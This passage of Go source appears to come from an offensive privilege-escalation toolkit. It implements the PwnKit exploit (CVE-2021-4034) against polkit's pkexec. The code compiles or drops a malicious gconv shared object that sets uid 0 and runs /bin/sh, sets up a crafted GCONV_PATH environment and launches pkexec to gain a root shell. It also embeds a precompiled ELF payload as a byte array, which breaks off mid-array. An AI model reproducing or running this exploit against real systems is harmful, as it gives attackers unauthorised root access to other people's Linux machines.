	if minor > 105 {
		return false
	}

	if err := v.Exploit(ctx, s, log.Silenced(), payloads.Payload("true")); err != nil {
		return false
	}

	log.Printf("Polkit version is vulnerable!")
	return true
}

func (v *cve20214034Exploit) Shell(ctx context.Context, s *state.State, log logger.Logger) error {
	return v.Exploit(ctx, s, log, payloads.Default)
}

func (v *cve20214034Exploit) writeSharedObject(path string, aggro bool, log logger.Logger) error {

	var command string
	var so []byte
	if aggro {
		so = pwnkit_sh_sharedobj
		command = "/bin/sh"
	} else {
		so = pwnkit_true_sharedobj
		command = "/usr/bin/true"
	}

	if _, err := exec.LookPath("cc"); err != nil {
		log.Printf("C compiler not available, using precompiled shared object...")
		return ioutil.WriteFile(path, so, 0755)
	}

	src := fmt.Sprintf(`#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void gconv(void) {}

void gconv_init(void *step) {
  char *const args[] = {"%s", NULL};
  char *const environ[] = {"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/"
                           "bin:/sbin:/bin:/opt/bin",
                           NULL};
  setuid(0);
  setgid(0);
  execve(args[0], args, environ);
  exit(0);
}
`, command)

	log.Printf("Compiling shared object...")
	srcPath := filepath.Join(os.TempDir(), "traitor.c")
	if err := ioutil.WriteFile(srcPath, []byte(src), 0600); err != nil {
		return err
	}
	defer func() {
		_ = os.Remove(srcPath)
	}()
	return exec.Command("cc", "-Wall", "-shared", "-fPIC", "-o", path, srcPath).Run()
}

func (v *cve20214034Exploit) Exploit(ctx context.Context, s *state.State, log logger.Logger, payload payloads.Payload) error {
	log.Printf("Setting up filesystem tree...")
	dir, err := os.MkdirTemp(os.TempDir(), "traitor")
	if err != nil {
		return fmt.Errorf("could not create temp dir: %s", err)
	}
	defer func() {
		_ = os.RemoveAll(dir)
	}()

	if err := os.MkdirAll(filepath.Join(dir, "GCONV_PATH=."), 0777); err != nil {
		return fmt.Errorf("cloud not create exploit dir: %s", err)
	}

	if err := ioutil.WriteFile(filepath.Join(dir, "GCONV_PATH=.", "hax.so:."), []byte(";)"), 0777); err != nil {
		return fmt.Errorf("failed to create fake executable: %s", err)
	}

	procAttr := &os.ProcAttr{
		Dir: dir,
		Env: []string{
			"hax.so:.",
			"PATH=GCONV_PATH=.",
			"SHELL=/no/where",
			"CHARSET=HAX",
			"GIO_USE_VFS=",
		},
		Files: []*os.File{
			os.Stdin,
			os.Stdout,
			os.Stderr,
		},
	}

	var aggressive bool
	switch payload {
	case payloads.Default, payloads.Defer:
		aggressive = true
	case payloads.Payload("true"):
	default:
		return fmt.Errorf("custom payloads are not supported for this exploit")
	}

	if err := v.writeSharedObject(filepath.Join(dir, "hax.so"), aggressive, log); err != nil {
		return err
	}

	log.Printf("Writing local gconv-modules...")
	if err := ioutil.WriteFile(filepath.Join(dir, "gconv-modules"), []byte("module UTF-8// HAX// hax 1\n"), 0644); err != nil {
		return fmt.Errorf("failed to write gconv-modules: %s", err)
	}

	pkexecPath, err := exec.LookPath("pkexec")
	if err != nil {
		return err
	}
	log.Printf("Starting %s with malicious environment variables set...", pkexecPath)
	process, err := os.StartProcess(pkexecPath, nil, procAttr)
	if err != nil {
		return err
	}
	_, err = process.Wait()
	return err
}


================================================
FILE: pkg/exploits/cve20214034/sharedobject_sh_386.go
================================================
//go:build 386
package cve20214034

var pwnkit_sh_sharedobj = []byte{
  127, 69, 76, 70, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  3, 0, 3, 0, 1, 0, 0, 0, 128, 16, 0, 0, 52, 0, 0, 0,
  56, 53, 0, 0, 0, 0, 0, 0, 52, 0, 32, 0, 10, 0, 40, 0,
  28, 0, 27, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 212, 3, 0, 0, 212, 3, 0, 0, 4, 0, 0, 0,
  0, 16, 0, 0, 1, 0, 0, 0, 0, 16, 0, 0, 0, 16, 0, 0,
  0, 16, 0, 0, 40, 2, 0, 0, 40, 2, 0, 0, 5, 0, 0, 0,
  0, 16, 0, 0, 1, 0, 0, 0, 0, 32, 0, 0, 0, 32, 0, 0,
  0, 32, 0, 0, 16, 1, 0, 0, 16, 1, 0, 0, 4, 0, 0, 0,
  0, 16, 0, 0, 1, 0, 0, 0, 8, 47, 0, 0, 8, 63, 0, 0,
  8, 63, 0, 0, 24, 1, 0, 0, 28, 1, 0, 0, 6, 0, 0, 0,
  0, 16, 0, 0, 2, 0, 0, 0, 16, 47, 0, 0, 16, 63, 0, 0,
  16, 63, 0, 0, 224, 0, 0, 0, 224, 0, 0, 0, 6, 0, 0, 0,
  4, 0, 0, 0, 4, 0, 0, 0, 116, 1, 0, 0, 116, 1, 0, 0,
  116, 1, 0, 0, 76, 0, 0, 0, 76, 0, 0, 0, 4, 0, 0, 0,
  4, 0, 0, 0, 83, 229, 116, 100, 152, 1, 0, 0, 152, 1, 0, 0,
  152, 1, 0, 0, 40, 0, 0, 0, 40, 0, 0, 0, 4, 0, 0, 0,
  4, 0, 0, 0, 80, 229, 116, 100, 84, 32, 0, 0, 84, 32, 0, 0,
  84, 32, 0, 0, 44, 0, 0, 0, 44, 0, 0, 0, 4, 0, 0, 0,
  4, 0, 0, 0, 81, 229, 116, 100, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 6, 0, 0, 0,
  16, 0, 0, 0, 82, 229, 116, 100, 8, 47, 0, 0, 8, 63, 0, 0,
  8, 63, 0, 0, 248, 0, 0, 0, 248, 0, 0, 0, 4, 0, 0, 0,
  1, 0, 0, 0, 4, 0, 0, 0, 20, 0, 0, 0, 3, 0, 0, 0,
  71, 78, 85, 0, 19, 29, 251, 41, 8, 122, 0, 94, 104, 142, 240, 34,
  131, 240, 221, 29, 81, 255, 51, 58, 4, 0, 0, 0, 24, 0, 0, 0,
  5, 0, 0, 0, 71, 78, 85, 0, 1, 0, 1, 192, 4, 0, 0, 0,
  1, 0, 0, 0, 2, 0, 1, 192, 4, 0, 0, 0, 0, 0, 0, 0,
  2, 0, 0, 0, 9, 0, 0, 0, 1, 0, 0, 0, 5, 0, 0, 0,
  12, 0, 32, 2, 9, 0, 0, 0, 10, 0, 0, 0, 99, 12, 127, 15,
  53, 167, 82, 128, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 16, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  32, 0, 0, 0, 70, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  34, 0, 0, 0, 109, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  18, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  32, 0, 0, 0, 123, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  18, 0, 0, 0, 116, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  18, 0, 0, 0, 102, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  18, 0, 0, 0, 44, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  32, 0, 0, 0, 85, 0, 0, 0, 125, 17, 0, 0, 16, 0, 0, 0,
  18, 0, 12, 0, 91, 0, 0, 0, 141, 17, 0, 0, 126, 0, 0, 0,
  18, 0, 12, 0, 0, 95, 95, 103, 109, 111, 110, 95, 115, 116, 97, 114,
  116, 95, 95, 0, 95, 73, 84, 77, 95, 100, 101, 114, 101, 103, 105, 115,
  116, 101, 114, 84, 77, 67, 108, 111, 110, 101, 84, 97, 98, 108, 101, 0,
  95, 73, 84, 77, 95, 114, 101, 103, 105, 115, 116, 101, 114, 84, 77, 67,
  108, 111, 110, 101, 84, 97, 98, 108, 101, 0, 95, 95, 99, 120, 97, 95,
  102, 105, 110, 97, 108, 105, 122, 101, 0, 103, 99, 111, 110, 118, 0, 103,
  99, 111, 110, 118, 95, 105, 110, 105, 116, 0, 115, 101, 116, 117, 105, 100,
  0, 115, 101, 116, 103, 105, 100, 0, 101, 120, 101, 99, 118, 101, 0, 101,
  120, 105, 116, 0, 108, 105, 98, 99, 46, 115, 111, 46, 54, 0, 71, 76,
  73, 66, 67, 95, 50, 46, 48, 0, 71, 76, 73, 66, 67, 95, 50, 46,
  49, 46, 51, 0, 0, 0, 0, 0, 2, 0, 3, 0, 0, 0, 3, 0,
  3, 0, 3, 0, 0, 0, 1, 0, 1, 0, 0, 0, 1, 0, 2, 0,
  128, 0, 0, 0, 16, 0, 0, 0, 0, 0, 0, 0, 16, 105, 105, 13,
  0, 0, 3, 0, 138, 0, 0, 0, 16, 0, 0, 0, 115, 31, 105, 9,
  0, 0, 2, 0, 148, 0, 0, 0, 0, 0, 0, 0, 8, 63, 0, 0,
  8, 0, 0, 0, 12, 63, 0, 0, 8, 0, 0, 0, 28, 64, 0, 0,
  8, 0, 0, 0, 240, 63, 0, 0, 6, 1, 0, 0, 244, 63, 0, 0,
  6, 2, 0, 0, 248, 63, 0, 0, 6, 4, 0, 0, 252, 63, 0, 0,
  6, 8, 0, 0, 12, 64, 0, 0, 7, 3, 0, 0, 16, 64, 0, 0,
  7, 5, 0, 0, 20, 64, 0, 0, 7, 6, 0, 0, 24, 64, 0, 0,
  7, 7, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  243, 15, 30, 251, 83, 131, 236, 8, 232, 115, 0, 0, 0, 129, 195, 243,
  47, 0, 0, 139, 131, 248, 255, 255, 255, 133, 192, 116, 2, 255, 208, 131,
  196, 8, 91, 195, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  255, 179, 4, 0, 0, 0, 255, 163, 8, 0, 0, 0, 0, 0, 0, 0,
  255, 163, 12, 0, 0, 0, 104, 0, 0, 0, 0, 233, 224, 255, 255, 255,
  255, 163, 16, 0, 0, 0, 104, 8, 0, 0, 0, 233, 208, 255, 255, 255,
  255, 163, 20, 0, 0, 0, 104, 16, 0, 0, 0, 233, 192, 255, 255, 255,
  255, 163, 24, 0, 0, 0, 104, 24, 0, 0, 0, 233, 176, 255, 255, 255,
  139, 28, 36, 195, 102, 144, 102, 144, 102, 144, 102, 144, 102, 144, 102, 144,
  232, 228, 0, 0, 0, 129, 194, 107, 47, 0, 0, 141, 138, 32, 0, 0,
  0, 141, 130, 32, 0, 0, 0, 57, 200, 116, 29, 139, 130, 240, 255, 255,
  255, 133, 192, 116, 19, 85, 137, 229, 131, 236, 20, 81, 255, 208, 131, 196,
  16, 201, 195, 141, 116, 38, 0, 144, 195, 141, 180, 38, 0, 0, 0, 0,
  232, 164, 0, 0, 0, 129, 194, 43, 47, 0, 0, 85, 137, 229, 83, 141,
  138, 32, 0, 0, 0, 141, 130, 32, 0, 0, 0, 131, 236, 4, 41, 200,
